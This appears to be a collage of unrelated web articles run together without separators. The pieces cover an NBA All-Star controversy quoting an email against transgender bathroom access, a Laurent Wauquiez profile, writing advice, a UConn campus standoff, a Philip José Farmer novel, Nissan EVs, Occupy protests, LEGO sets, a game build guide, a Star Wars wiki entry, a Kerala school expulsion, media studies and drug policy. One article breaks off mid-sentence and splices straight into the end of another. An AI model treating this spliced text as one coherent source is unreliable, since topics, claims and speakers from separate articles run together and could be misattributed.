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The league’s decision comes after months of negotiations between NBA executives and top leadership in North Carolina, including Governor Pat McCrory, Speaker Tim Moore and President Pro Tem Phil Berger, led to proposed legislation that never got heard in the legislature.
Sabates, who helped found the original Hornets franchise in 1987, responded to Whitfield’s email voicing his displeasure with the decision.
“I am very disappointed in this decision by the commissioner, it hurts our team and ownership group that has suffered very deep financial loses (sic) over the years,” Sabates said.
Later in his email, Sabates took aim at those he said were behind the game being moved.
“Shame on those responsible for such a short sighted decision to take the NBA All Star away from Charlotte I always thought this was country that ALL peoples not just a few can determine our future,” he wrote.
“Our Mayor opened a can of worms, who knows why? Our city council is the one to blame for our losing the NBA All Star game, none of this would have happened if not for a very few minority forcing our supposed city leaders into creating a problem that never really existed, there will always be another election, they better pray a very few can get them re-elected,” his letter continued. “What is wrong with a person using a bathroom provided for the sex the were born with, if you want to change your gender so be it, we are a free county, but don’t force 8 years old children to be exposed to having to share bathroom facilities with people that don’t share the organs they were Bourne (sic) with, this is plain wrong, this could cause irreparable damages to a children’s that don’t understand why they have to see what God did not mean for them to witness, we have some very confused business as well as political humans that frankly have made this a political issue rather then (sic) moral issues, SHAME ON THEM.”
Sabates ended his email by pointing out other states that are taking legal action to challenge a recent executive order from the Obama Administration requiring all public schools to allow students to use the bathroom that corresponds with their gender identity.
“NOT FAIR FOR OUR COMMUNITY TO BE PENALIZED when 21 other USA states are suing the Federal Government over laws that are not fair to our communities,” he concluded.After a career that began as a centrist, Laurent Wauquiez has moved increasingly to the right. Elected president of the conservative Les Republicains party on Sunday, he will now have to reach past his base to establish an effective opposition.
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Wauquiez won the presidency of Les Republicains in party elections on December 10, and yet the French know little about him. A graduate of the École Normale Supérieure and the ENA (École nationale d'administration), who was elected to France’s parliament while still under 30, he does not exhibit the flashy charisma of former president Nicolas Sarkozy, nor does he have the friendliness of a Jacques Chirac. Yet there's one thing that does mark him as following in his predecessors' footsteps: His desire for power is apparent.
If at 42 years old Wauquiez dreams of himself as President Emmanuel Macron’s main challenger, he struggles to embody it. No longer an “ambitious young wolf”, this was a man who took on several roles during Sarkozy’s presidency – as secretary of state for employment and as government spokesman, then minister of European affairs and of higher education. He vanquished the left in 2008 in Puy-en-Velay’s municipal council elections and was re-elected to the National Assembly in 2012 before becoming head of the Auvergne-Rhône-Alpes region in 2015. But Wauquiez's political ascent was abruptly halted by Macron’s meteoric rise and ascent to the presidency.
Wauquiez has not held back in attacking the president in recent weeks. He has described the former economy minister as a “capricious child” and an “arrogant adult” who is consumed by “a single project: himself”, as well as someone “haunted by a hatred of the provinces”. The criticisms were a little too provocative not to have been part of a wider strategy: Wauquiez wants to push the main opposition Les Republicains further to the right.
Wauquiez has now claimed the right to cause controversy and to be “truly right wing”. This has undoubtedly irritated the moderates in his party. In the early 2000s, there was nothing to suggest that this man would soon come to embody this particular brand of right-wing conservatism.
Once mentor, now opponent
Wauquiez took his first steps in politics under the tutelage of centrist Jacques Barrot. Barrot, a Europhile and Christian Democrat, left his Haute-Loire constituency in 2004. In the campaign to succeed him, Wauquiez announced on France 3: “I will remain faithful to the values that have allowed us, with Jacques Barrot, to move forward.”
Wauquiez now firmly rejects those centrist beginnings. In an interview with monthly magazine Causeur on December 7 he declared, “In reality, I was never a centrist, but I succeeded a centrist in Jacques Barrot. As a young député (MP) in the National Assembly, I repeated what the media expected of me.” In the same interview, Wauquiez described his turn towards the right as a “progressive loosening of shackles”.
The first glimpse of a truly right-wing Wauquiez could be seen in 2011. While still minister for European affairs, he referred to welfare dependency as a “cancer on French society” and advocated the introduction of work requirements for those receiving government benefits. In 2013, he opposed the introduction of gay marriage. In 2014 he came out as a Eurosceptic in his book, “Europe, everything must change,” in which he called for more protectionism. Former mentor Barrot publicly disavowed the book, deeming it to be “inspired by today’s brand of populism”. Ex-president Chirac wrote of the book in the French daily Les Échos: “Here there are all the ingredients to send us back to the last century, with a protectionism that has shown its limits by stoking the fear of the other.”
By regional elections in 2015, “Immigration, that’s enough” and “Brussels, that’s enough” were the slogans that adorned Wauquiez's campaign leaflets.
Confirmé par @Meunier_Ph : ce tract repéré par @romainblachier est bien un tract de Wauquiez et non un détournement pic.twitter.com/MckJvtiF5P Geoffroy Clavel (@GeoClavel) 11 décembre 2015
During the last stages of his campaign for Les Republicains' presidency, Wauquiez declared: “Immigration must be reduced to a strict minimum.” The remark was decidedly too right wing for the Union of Democrats and Independents, who, even before the results were declared, had already distanced themselves.
Merci cher @FrancoisFillon d'avoir pris le temps d'un échange amical à trois jours de l'élection à la présidence de notre famille politique.
Je n'oublie pas le courage qui a été le tien quand tu as refusé d'édulcorer ton projet de droite pendant la présidentielle. pic.twitter.com/58JrioMNf5 Laurent Wauquiez (@laurentwauquiez) 7 décembre 2017
Now as the elected head of his party, Wauquiez will have five years to prepare himself for a new challenge: France's 2022 presidential elections and another shot at taking on Macron.
This article was originally published in French.“A spoon full of sugar helps the medicine go down- in the most delightful way.”– Mary Poppins
In some of the writing forums I frequent, a very common situation comes up. A new (usually young) writer will come on, and ask if people will look at the first couple chapters of their new science fiction or fantasy novel and tell them if those chapters are any good.
Nine times out of ten (and I’m being generous with that statistic), the answer is that the chapters in question are complete crap. One of the more common reasons for this (especially with Sci-fi and Fantasy stories) is that usually the writers are usually so in love with their “unique and special” setting that they can’t wait to tell the reader all about it. So, inevitably the first couple chapters of what they write are basically all about the setting: sometimes pages and pages of setting/background material that go on and on in excruciating detail.
Sometimes, if they’re feeling clever, they’ll try to make it more interesting by framing it in a conversation, or have a storytelling character relating it to others, or maybe structure it as a briefing of some kind. But, while this can (rarely) work, it still has a fundamental flaw in it- the writer is still first and foremost dumping setting information on the reader.
I know where this comes from- video games. Video games, which don’t have a lot of time for build-up and want to get the player into the action ASAP, love to have a detailed history/setting description at the beginning of the game to set the scene before the action starts. And in games, it generally works fine, so young writers often make the mistake of thinking it will work in a novel too.
It doesn’t, and there’s a good reason why.
In a video game, we sit through (or click through) the background/setting information because we know we’ll be rewarded for it. We know that once this is done, we’ll get some cool cut-scenes, and then be immersed in interactively battling enemy hordes until 4am. That’s the promise that a video game comes with, and it’s a clear reward waiting for us once we’re done learning about the setting and situations. (Keeping in mind that most video games are about setting and situations, not character to begin with!)
But, what about a novel?
What reward does the reader know is waiting for them after they get through all this setting and background information? A video game says, “read this, and I’ll let you kill aliens”. Which is a pretty good motivation! What does a novel say to its reader? What guarantees can a novel (especially one by a new writer) give that there is actually something worth reading here once this infodump is finished?
The answer is- none.
When I read the first chapters of a novel, unless I’ve had previous reviewers reassure me that it’ll be worth it, I have no idea whether or not this journey is one I want to take. I have no evidence that I’ll like it, or a reason to keep reading. So, when I hit a pile of boring information that I don’t care about, or find interesting, I put the book back on the shelf (or delete the sample) and I go looking for something else that can hold my attention better. As a reader, my time is limited, and I’m not going to spend it reading crap.
So, how do experienced writers get readers to not only read background/setting information, but actually love it and want more? How do you get people to consume chapter after chapter of detail about Middle Earth, or the list of all the Stark Bannermen in Westeros for twenty pages?
Just like in video games- you need to offer the reader a reward.
The reward in video games is time spent “in action”, and in books it’s pretty much the same- what the reader wants is interesting characters doing interesting things. Once a reader is hooked on the characters and events of a story, they will read through huge amounts of extra material just to get more of that reward they crave.
If you want to see a perfect example, go read a Dan Brown novel like the The Davinci Code, or Angels and Demons. Brown’s books sell millions of copies, and each chapter of one of Brown’s meticulously researched books follows the same formula- 1 to 3 pages of character action, then 5-7 pages of information about some piece of geography, history or art, and then 1 or 2 pages of character action ending on a cliff-hanger to make you want to read the next chapter.
Now, Brown’s case is pretty extreme (he’s writing textbooks wrapped in a plot), but if you pay attention you’ll see that almost every successful writer is doing this. They’re alternating interesting dialogue and character action with less interesting (but necessary) background and setting information as a way to keep the reader motivated to read and keep reading even the slow stuff. The reader knows that if they can just get through the exposition, they’ll be rewarded with more of what they really want.
This is where most beginning writers fall flat when they start writing.
They put the less interesting stuff first, and then expect it to somehow hook readers. It’s a bit like giving someone something sour before you give them something tasty, and still expecting them to keep eating. Does that make any sense? No. And that’s why it doesn’t work.
The truth is that readers don’t care about settings or history, or art, or any of that stuff, unless it’s directly connected to a character they DO care about. So, whenever you write, you always need to start with story and character, and then once you’ve got them hooked, you can start to introduce less interesting bits of information that they need to know, but will be reluctant to read. Even Dan Brown and George R.R. Martin spend many chapters setting up |
give up.
About 3:50 a.m., he suddenly stopped talking to negotiators, Vance said. "A short time later, he raised his weapon and shot himself," his release states.
"Our intent was to peacefully disarm the individual and get him the help he needed, again to no success," Vance said.
The university activated its emergency alert system during the standoff. A building on a different part of the campus, where some 40-50 high school students were staying for a summer oceanology program, was locked and guarded by UConn police, the university said. Parents were told they could pick up their children if they wished.
Shortly before 5:30 a.m. UConn tweeted "The Avery Point incident has ended. The Campus will be open at 8:00 AM for normal business."
That part of the campus is isolated, Reitz said. The fact that it was being treated as a crime scene did not interfere with day-to-day activities.
UConn employees were encouraged to make use of the university's Employee Assistance Program by calling 860-679-2877 or 800-852-4392 if they wish to speak confidentially with a mental health professional about any concerns stemming from this incident.
Courant Staff Writer Dave Altimari and Fox CT's Cory Ziman contributed to this story.
Copyright 2012 - The Hartford Courant, Conn.
McClatchy-Tribune News ServiceVenus on the Half-Shell is a science fiction novel by American writer Philip José Farmer, writing pseudonymously as "Kilgore Trout," a fictional recurring character in many of the novels of Kurt Vonnegut. This book first appeared as a lengthy fictitious "excerpt"—written by Vonnegut, but attributed to Trout—in Vonnegut's God Bless You, Mr. Rosewater (1965). With Vonnegut's permission, Farmer expanded the fragment into an entire standalone novel (including, as an in-joke, a scene that incorporates all of Vonnegut's original text). Farmer's story was first published in two parts beginning in the December 1974 issue of The Magazine of Fantasy and Science Fiction. The plot, in which Earth is destroyed by cosmic bureaucrats doing routine maintenance and the sole human survivor goes on a quest to find the "Definitive Answer to the Ultimate Question," was paid homage by the later Hitchhiker's Guide to the Galaxy series.
According to Farmer's introduction in Venus on the Half-Shell and Others, Vonnegut was initially reluctant to allow the project, but finally relented. After publication, a poorly worded magazine article gave Vonnegut the impression that Farmer had planned to write the story regardless of his permission, which angered Vonnegut. Also, it was popularly assumed that Vonnegut wrote the book. This problem was solved by the book being reprinted under Farmer's by-line.
A common element to this novel is the origin of many of the characters' and locations' names. Farmer "put in a lot of references to literature and fictional authors... Most of the alien names in Venus were formed by transposing the letters of English or non-English words."[1]
The title and paperback cover art are a reference to an Italian Renaissance tempera painting by Sandro Botticelli, The Birth of Venus, which depicts the birth of the goddess Venus as her rising from the sea on a scallop shell. The phrase "on the half-shell" commonly refers to a method of serving oysters.
In 2013, Titan Books reprinted Venus on the Half-Shell with new cover art referencing The Birth of Venus.[2]
Table of character names with known origins [ edit ]
Name Origin Etymology Chworktap Patchwork anagram[1] Utapal Laputa anagram Zelpst selbst phonetic rendering of the German word meaning self[1] Raproshma rapprochement phonetic rendering of the French word meaning approximation.[1] Dokal Caudal pseudo-anagram (means having a tail)[1] Tunc Cunt anagram Angavi vagina anagram Gviirl Virgil anagram Clerun-Gowph Aufklärung derived from the German word for enlightenment[1] Odiomzwak Quasimodo pseudo-anagram
References [ edit ]
Sources [ edit ]
Farmer, Philip José (2008), Venus on the Half-Shell and Others, Subterranean Press.By Brad Berman · June 29, 2016
In the months leading up to the 2010 introduction of the Nissan LEAF, Carlos Ghosn, the company’s chief executive, said his big bet on EVs was based on one company declaring itself as the undisputed leader of a specific advanced technology. Toyota already claimed hybrids, he said, in a scene that appears in the 2011 documentary Revenge of the Electric Car. Other companies would continue to make hybrids, but Toyota would always be the hybrid king. Ghosn announced that Nissan was staking its claim as the electric car leader and building a big battery plant to support its efforts.
In terms of total cumulative sales to date, Ghosn delivered. The Nissan LEAF is the most popular electric car in history, with around 100,000 vehicles on US roads and another 125,000 or so units in Europe and Asia.
That’s a major achievement—but one that has to be tempered by the acknowledgement that Nissan has lost any claim of being the sole owner, or even the leader, of the EV movement. It shuttered its plans to build a battery factory, before a single pack was produced. Sales of the LEAF have been sporadic over the past five years. So far in 2016, the Nissan LEAF, the only plug-in car offered by Nissan, is in fifth place on the sales charts, behind the Tesla Model S, Chevrolet Volt, Ford Fusion Energi, and Tesla Model X.
As longer range relatively affordable electric cars, like the Chevy Bolt and Tesla Model 3, make their way to market, Nissan clearly needs to revitalize its plug-in plans. The competition is stiffer than ever. In recent months, we have heard how Volkswagen, Mercedes and BMW will be offering plug-in variants of nearly every model in its lineup.
What’s the response from Nissan and Carlos Ghosn? First, it appears from recent reports that Nissan is working on a 60 kilowatt-hour 200-mile EV, probably in the form of a new LEAF due out in 2017 or 2018. It’s evident now that this year’s LEAF, which offers multiple battery packs including one nudging range to 107 miles from 84, is not a bold enough move to reclaim leadership—not when 200-mile cars are coming down the pike.
Despite acknowledgements that a long-range LEAF is being developed, details remain scarce. What has been acknowledged by Ghosn is that Nissan will make a plug-in hybrid, with a system that resembles the gas-electric series hybrid architecture of the Chevy Volt.
Dubbed e-Power, and first appearing as the Gripz compact crossover shown last fall at the Frankfurt Motor Show, the new Nissan compact plug-in hybrid is expected in Japan next year. There’s no clear word if or when it will be sold in the United States. Last week, speaking at a shareholders meeting, Ghosn said, “This new electric vehicle will meet consumer demand for greater autonomy and fuel efficiency. It will utilize a new e-Power system that matches the agility, quietness, strong acceleration and efficiency of the Nissan Leaf.”
Acknowledging That Consumers Want Choices
What a difference five years makes. In January 2011, when the Nissan LEAF and Chevy Volt were both just hitting US roads, executives from Nissan and General Motors battled for PR points regarding which company had the “real electric car.” Carlos Tavares, then Nissan's executive vice-president of the Americas, speaking at the Automotive News World Congress in Detroit, famously held up a muffler and tailpipe and said, “As automakers, we have a duty to communicate with clarity to help customers understand today’s technology. If you’re calling your car electric, and it has one of these, you’re only muddling the message.”
It’s doubtful that many consumers understood the distinction between an EV, PHEV and ER-EV then, or that they understand it now—especially not with Nissan saying last week that it will introduce an electric car that has a range-extending engine (and a tailpipe). The message will continue to be muddled and, frankly, beside the point. Another recent announcement from Nissan, about its development of a fuel-cell car that generates hydrogen through onboard reformation of ethanol, will likely generate more blank stares. Whether or not ethanol-based fuel cells make sense or not, the announcement doesn’t help clarify the company’s electric car intentions.
Of course, any car or technology that displaces petroleum-based and polluting miles with cleaner electric miles should be celebrated. The market (and the environment) needs both electric cars and plug-in hybrids (and dare I say it on PluginCars.com, hydrogen fuel cell cars as well). It’s great that Nissan is developing a plug-in hybrid that it believes will “answer consumer demand for greater autonomy and fuel efficiency,” as Ghosn said.
Maybe the hard-earned lesson that Nissan learned—and what might be the company’s enduring contribution to EVs—is the acknowledgement that they can come in many different shapes, sizes and technology configurations. The EV movement is big and strong. It can’t be contained with one type of system or owned by just one company. The fact that Nissan jumpstarted the mainstream EV market and spurred the current level of fierce competition—one that it is struggling to keep up with—deserves kudos from all of us who want to see a greener transportation future.Do Boise Police Think Beating Occupy Wall Street Protesters is Funny? (UPDATE)
By rancase
This picture went up on Facebook as a funny Halloween joke. For those of us keeping track of the growing number of Occupy Wall Street protesters assaulted by police, this display is a special kind of tasteless and insensitive.
But what if one of the people in that picture making fun of police beating protesters is also a Boise police officer?
The person who posted the picture alleges this is the case:
Boise and Anon, we need verification—if this is true, Boise police think beating you is funny.
Update: The person who initially claimed one of the people in that photo is a police officer has since retracted their statement.
The heart of the problem lies beyond someone wearing a uniform. At best, the general public thinks occupiers getting beaten within an inch of their lives is fucking funny. At worst, the police think so too. Belittlement is a viable weapon: Reduce a movement to a joke, to a Halloween snapshot of two cops laughingly beating some silly hippie Wall Street protester, and the concerns of actual protesters are effectively denied validity.
Somehow, people—including law enforcement–are managing to ignore how poor Scott Olsen is still in the hospital. They’re looking straight past the snowballing numbers of videos where people stand up against the police and are slammed face-first into car bumpers and concrete walls, maced, punched, run over with motorcycles and thrown around like rag dolls. It doesn’t matter to them that “To Serve and Protect” has become the most unfunny of ironic jokes. They’re content to blow it off with a laugh and a photo op at some party in Idaho, then post it online because it was just so great it needed to be shared.
This, guys, is why Occupy Wall Street simply can not give up and go home. If protesters pack up their tents and go home, afraid of police violence or ridicule by a willfully ignorant public, this guarantees the method used to control them shall be escalation. If fear of violence makes people stay home and stay quiet, the violence brought to bear will just increase the next time anyone dares to speak out. If fear of ridicule gives them pause, then surely further bullying will render them compliant.
But if the people out there, with their tents and their cardboard signs and their hopes for a better future, can put fear aside and continue to stand together, even in the face of the mockery and violence of the people who are supposed to be protecting them... Well, that’s when things get interesting.
More #OccupyWallStreet coverage and photo galleries on DOOM! Magazine
rancase ( 22 Posts I grew up on the water. I still sometimes feel my visceral, paralogical craving to return to it colors everything I do. I make stuff. I mean well. That'll do for now.
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PrintGerman eBay seller Wörld-toys has posted a couple of auctions that have ended for some LEGO The Hobbit: The Desolation of Smaug 2014 sets but this is the first time we have images of the sets that we haven’t seen before for the Dol Guldur Ambush (79011), Mirkwood Elf Army (79012), and Dol Guldur Battle (79014). Although they aren’t the best quality, you can see a little bit of what’s going on.
Update: Official images are now available.
We can now verify that the Dol Guldur Ambush (79011) has Beorn, Gundabad Orcs x2.
The Mirkwood Elf Army (79011) has Gundabad Orcs x2, Mirkwood Elf Archers x2, a Mirkwood Elf, and Thranduil.
The Dol Guldur Battle (79014) has Gundabad Orcs x2, the Necromance of Dol Guldur, Azog, Radagast, and Gandalf the Grey.
Also set 79011 is able to combine with 79014 to create a larger playset.Recommended
Preferred IV: +DEF or +ATK / -SPD or -RES
Weapon: Slaying Lance+ (+Def)
Assist: Reposition / Swap
Special: Bonfire / Ignis
Passive A: Steady Breath / Steady Stance / Fortress Defense
Passive B: Quick Riposte / Guard
Passive C: Infantry Pulse / Panic Ploy / Flexible
Sacred Seal: Atk/Def Bond / Close Defense / Quick Riposte / Quickened Pulse / Panic Ploy
Since this build is heavily centered around Enemy Phase combat, Attack and Defense are the choice boons to take in order to maximize Lukas’ raw damage output as well as his physical resilience. Slaying Lance pairs well with this playstyle, as its cooldown acceleration will allow Lukas to activate his devastating Specials more frequently. As for the Special itself, Bonfire is chosen due to its consistently high damage output thanks to Lukas’ monstrous Defense stat. Ignis is another option that trades a shorter cooldown for more raw power.
The bread and butter of this build is running Steady Breath in tandem with Slaying Lance and Bonfire. This combination allows Lukas to activate Bonfire on every single counterattack when initiated on. In exchange for cooldown acceleration, Lukas can also run Steady Stance for an absurd +8 Defense when initiated on as well as the effect of Guard. If neither are available, Lukass native Fortress Defense makes for a good budget option by giving a solid +5 boost to Defense at the cost of 3 Attack.
Quick Riposte is absolutely essential for Lukas, as he is reliant on it to perform follow-up attacks in the Enemy Phase. Assuming Lukas is not running Steady Stance in his A slot, one can choose to move Quick Riposte to the Sacred Seal slot in favor of running Guard as his B skill. Guard will greatly reduce damage taken from opponents that rely on activating their special such as Ayra and Zelgius. This also applies to all armored units running Bold Fighter, as their follow-up attacks cannot be avoided if they initiate on Lukas.
Thanks to his massive HP pool, Lukas has the option to run skills such as Infantry March and Panic Ploy. These both provide fantastic team support, as Infantry Pulse accelerates the Special cooldown of all infantry allies with HP lower than him while Panic Ploy provides a massive advantage over teams that like to use Hone/Fortify buffs.
Last but not least, Lukas has several options when it comes to Sacred Seals. Atk/Def Bond makes for a very strong option by boosting both Lukas' physical bulk and damage when adjacent to an ally, suiting his Enemy Phase playstyle perfectly. Close Def is another good choice, as it will reduce damage taken from all melee opponents when initiated on. If not already being used in the B slot, Quick Riposte seal is crucial in allowing Lukas to perform follow-up attacks in the Enemy Phase. The same applies to Panic Ploy 3, which can also be run here if it is not already being used in the C slot. Finally, Quickened Pulse can be run together with Steady Breath in order to allow Lukas to activate Ignis on his very first counterattack.The alien construct was a unique space station located within the Kathol Rift.
Contents show]
History Edit
Constructed several thousand years before the rise of the New Republic, it was used by an unidentified alien species as a staging point for their colonization programs. Large and bulbous, the construct was dotted with docking domes across its exterior. Each docking dome would open to admit a ship, and be guided in by docking tendrils. By 8 ABY, the station was abandoned, and there was no trace of the alien species that constructed it.
Despite being thousands of years old, the technology of the station was well above Imperial levels of science. The station had once been self-sufficient, generating its own water and food, and there were no signs of weapons, indicating that it was a civilian outpost. The construct was also the resting place of the Codex, a powerful Force-imbued artifact.
In 8 ABY, a shuttle from Moff Kentor Sarne's forces and the New Republic CR90 corvette FarStar were captured by the construct's docking tendrils which had malfunctioned over the years. Both crews sought a way to escape, and eventually encountered each other. Both crews were able to escape, however.
The station was considered to be a holy site by the Aing-Tii, and their own beliefs forbade them to set foot on the construct. However, their desire to retrieve the Codex forced them to brainwash the navigator, Makezh into doing their bidding. When the Codex was removed from the construct in 8 ABY by the crew of the FarStar, Makezh eventually stole it from them and gave it to the Aing-Tii on Demonsgate.
Level plans Edit
Appearances EditImage copyright Vivek Nair Image caption The 16-year-old boy said the hug was congratulatory with no other motive behind it
A hug between two teenagers in southern India has snowballed into a national controversy after their school expelled them for a "public display of affection". The BBC's Ashraf Padanna spoke to them.
After she had sung on stage in a competition at St Thomas Central School in Kerala, the 15-year-old asked her friend, a boy of 16, how she had done. He hugged her, congratulating her on the performance.
"It [the hug] lasted only for a second or two," the girl, who did not want to be photographed for this article, told the BBC.
"There were a lot of students and teachers around, and I didn't feel [I had done] anything wrong."
But one of the teachers reportedly complained to the principal and, in the girl's words, "all hell broke loose".
The following day, on 22 July, the pair were suspended indefinitely. Then, four months later, on 22 November, the boy was expelled. Neither has been named in the media.
"Schooling is also about the reformation of the child," principal Sebastian T Joseph told the BBC. "We have given him a chance to apologise, but he and his parents had absolutely no remorse."
But the boy said he had apologised "immediately".
The girl never rejoined school because according to the school's records, she was not even enrolled yet.
She had recently moved from Dubai, where her father had been working, and joined St Thomas school in June. The paperwork related to her admission was still incomplete when the hug sparked a furore.
Both students were however asked to appear before a disciplinary committee that the school formed to investigate the "charges".
Image copyright Vivek Nair Image caption The school has drawn criticism for its decision to expel the students for hugging
The BBC has a copy of the so-called charge sheet drafted by the school - it accused the two students of engaging in an "indecent, immoral and undisciplined public display of affection" in front of other students and teachers.
It also alleges that their personal blogs and Instagram accounts included "conversations and photographs" that were "intimate, explicit, vulgar, obscene and objectionable".
"My Instagram account is private and only my followers can see my stories," the boy told the BBC. "There's nothing vulgar or obscene as mentioned in the charge sheet."
He said that he had responded to the allegations by explaining that the hug was meant to be congratulatory and there was no other motive behind it.
The girl alleges that committee members had copies of photos they had posted on Instagram and called them abusive names.
"An official on the panel called me a bitch in heat," she said.
By the time the committee found them "guilty", they had already missed more than four months of school.
Image copyright Vivek Nair Image caption The girl said the school has violated her right to education
During that time, the boy's parents had appealed to the Kerala child rights commission, which ordered the school to revoke the suspension.
But the school petitioned the Kerala high court, which upheld the order expelling the boy on the grounds that the school had the right to protects its "standard and reputation".
His parents are now waiting for the court to reopen after the annual Christmas vacation so they can appeal.
"We are pinning our hopes on the judiciary," said the boy's father, who has not been working since his son was suspended so he could be home to sort out the problem and support his son.
He said school officials were not among his son's or the girl's followers on Instagram - yet, he alleged, they somehow saw their photos, made copies of them and even submitted them in court.
"Were they snooping on them?" he asked, adding that they would raise the issue of privacy in court.
His wife and he are also concerned that their son will miss the exam at the end of the year, which would affect his chances at gaining admission into college since this is his final year of schooling.
Image caption The boy has not attended school for more than four months now
School authorities told the BBC that they had allowed the boy to transfer to another school and that it's up to the central education board - which is an independent body - to decide if he can appear for the exam.
Meanwhile, the school has drawn criticism for what is being seen by many as a peculiar and harsh response.
And, on Thursday, the boy's received a letter from the principal inviting them to a meeting on 3 January so they can re-examine the "issue".
But the girl's situation is still unclear. Her parents are not sure if they will also approach the court.
Although she doesn't want to continue studying at St Thomas school, she said she hopes they will allow her to appear for the annual exam so that she doesn't lose a whole year.
"I want to study on a better campus in a safer environment, where they won't treat you in a demeaning manner," she added.
She said she has already applied to another school but was denied admission because of the "incident".
"They [St Thomas school] have violated my right to education and my right to privacy," she said.Democratic presidential candidate Hillary Clinton speaks during a community forum in Mount Vernon, Iowa, earlier this month. REUTERS/Scott Morgan
Media Matters for America has roughly the same relationship with the Media Research Center as Magneto does with Charles Xavier, or the Monitor with the Anti-Monitor. It was created because the MRC existed, and it was designed to be its mirror image -- with the lofty mission of "correcting media misinformation." Hillary Clinton's allies helped build MMFA; Brent Bozell's MRC hands sarcastic "awards" to media outlets that go easy on Clinton and Democrats.
This was the striking aspect of a new MRC report, which analyzed coverage of the 2016 primaries and found something that liberals agree with. "Frontrunner Hillary Clinton has garnered 80 percent of the Democratic airtime since January 1," wrote the MRC's Rich Noyes on Tuesday. "Her closest announced rival, the socialist Vermont Senator Bernie Sanders, has received just six percent of the airtime, or about 24 minutes vs. 337 minutes for Clinton." The majority of Clinton stories, 54 percent, focused on scandals, while "just 57 seconds of Biden’s coverage — less than two percent — has focused on controversies from his past."
Just two weeks earlier, MMFA had pointed to data from the independent media-watcher Andrew Tyndall, and found the press just as guilty of scandal-driven, Sanders-ignoring coverage. "CBS has found the e-mails more newsworthy than the candidacy (31 mins vs 19)," Tyndall wrote. "NBC has focused more on the candidacy than the e-mails (42 mins vs 26); ABC has treated them roughly equally (e-mails 25 mins vs candidacy 21)."
Democratic presidential candidate Bernie Sanders speaks in Boston earlier this month (photo by Darren McCollester/Getty Images).
Eric Boehlert, a senior fellow at Media Matters and the author of a 2006 book on how the media gave "lapdog" coverage to President George W. Bush, found himself nodding at the MRC report.
"I can’t say I’m surprised," he said. "This is the second recent network news study that’s found Clinton’s TV news time has been dominated by so-called scandal coverage, and that the networks seem to think covering the e-mail story is the same thing as covering her presidential run. We’ve never seen a campaign, one year out from Election Day, that’s had to face this kind of relentless media headwind. Also note this is the second study to confirm that Joe Biden’s possible campaign has received way more network news coverage that Bernie Sanders’ actual campaign, which seems like a strange allocation of time."
Bozell, who appeared on Fox Business to discuss the poll, read the data with more skeptical eyes. "Bernie Sanders is the most far left candidate potentially in history," he told host Charles Payne, after Payne suggested that it was "crazy" for the media to ignore the senator's bid. "There's not been one second devoted to that... [and] let's remember, Joe Biden has had a history of being an incredibly nasty politician when he wants to be."By Claire Bernish at theantimedia.org
Slipping by virtually unnoticed, the United States made a surprising move last week toward entirelyending the contentious and wholly ineffective War on Drugs.
With the approach of the first Special Session of the U.N. General Assembly to discuss international drug policy in nearly 18 years, Bill Brownfield, Assistant Secretary of State for International Narcotics and Law Enforcement Affairs, discussed the potential for an historic shift in U.S. drug policy with a panel on March 8th.
Seeking to return to a “greater focus on public health and healthcare as relates to the drug issue, rehabilitation, treatment, [and] education,”Brownfield described what will be “a pragmatic approach to reform … global drug policy.”
Despite the moniker Land of the Free, the U.S. recently fell under intense criticism after a number ofreports noted the country houses the largest prison population on the planet — a fact President Obama reluctantly admitted last summer.
Should it follow through with decriminalization as Brownfield described, the U.S. government would be marking the first effort to weaken the now-massive prison-industrial machine — including the controversial, corrupt, private prison corporations that now dominate the criminal justice landscape.
“We will call for pragmatic and concrete criminal justice reform, areas such as alternatives to incarceration or drug courts, or sentencing reform,” Brownfield explained. “In other words, as President Obama has said many times publicly, to decriminalize much of basic behavior in drug consumption in order to focus scarce law enforcement resources on the greater challenge of the large transnational criminal organizations.
“We will propose greater focus on what we call new psychoactive substances. These are the new drugs … which in the 21st century the pharmaceutical industry can produce at a faster rate than governments or … the United Nations system can actually review and register.”
Asked whether countries deciding to move in the direction of Portugal, which decriminalized all drugs in a massive, successful effort to combat addiction, would be penalized for breaking established international narcotics guidelines, Brownfield stated the issue would not be for the U.S. government to decide. He explained wholesale reform of drug policy couldn’t possibly be applied in a one-size-fits-all format, as individual countries are dealing with problems specific to their needs.
As an example, Brownfield pointed to cannabis policy in the U.S.
“It is the position of the United States government, for example, that despite the fact that four of our states have voted to legalize the cultivation, production, sale, purchase, and consumption of cannabis, or marijuana, that we are still in compliance with our treaty obligations, because first, the federal law, national law, still proscribes and prohibits marijuana; and second, because the objective, as asserted by the states themselves, is still to reduce the harm caused by consumption [of] marijuana.
“Our argument is that at the end of the day, the issue is not precisely whether a government has chosen to decriminalize or not to decriminalize; it is whether the government is still working cooperatively to reduce the harm caused by the product.”
Several times, Brownfield emphasized the necessity for policy reform to hold to international narcotics conventions, but he also expressed optimism that “experimentation, adjustment, and modification” of policy would nonetheless be allowable.
Drug policy experts, activists, and countless others have decried the Drug War’s criminalization in reference to treatment of what is largely viewed as an epidemic of addiction.
“The world is a different place in 2016 than it was in 1959 or 1960,” Brownfield noted. “So, of course, policy changes. Opinions change. Focus and priority changes.”
Set to take place around five weeks from now, if the Ambassador’s plans are well-received, the UNGASS might produce the most positive reforms to now-anachronistic drug policies since they were imposed decades ago.
“At the end of the day, dangerous drugs are a danger to anyone — right or left; Northern Hemisphere, Southern Hemisphere; developing, developed; industrial, agrarian — it doesn’t matter. The harm is the same on the human being,” Brownfield asserted. “But we must process it through the realities of our planet today.”
This article (Media Silent as US Announces Unprecedented Move to End Drug War) is free and open source. You have permission to republish this article under a Creative Commons license with attribution to Claire Bernishand theAntiMedia.org. Anti-Media Radio airs weeknights at 11pm Eastern/8pm Pacific. If you spot a typo, email [email protected].Academy Award-winning actor Forest Whitaker (The Last King of Scotland) produced Fruitvale Station, the critically-acclaimed 2013 film that was written and directed by Ryan Coogler, so he was more than happy to join the cast of Coogler's upcoming Black Panther solo film and be directed by his former protégé.
“I’m excited to do it. I mean I think Ryan’s an amazing filmmaker,” Whitaker said during The Empire Film Podcast (via SR), while promoting Rogue One: A Star Wars Story. “I’ve got a chance to know him since college, so I’m excited to see what it’s like to be working with him on the other side, not as a producer but as an actor cause that’s how we started with Fruitvale Station.”
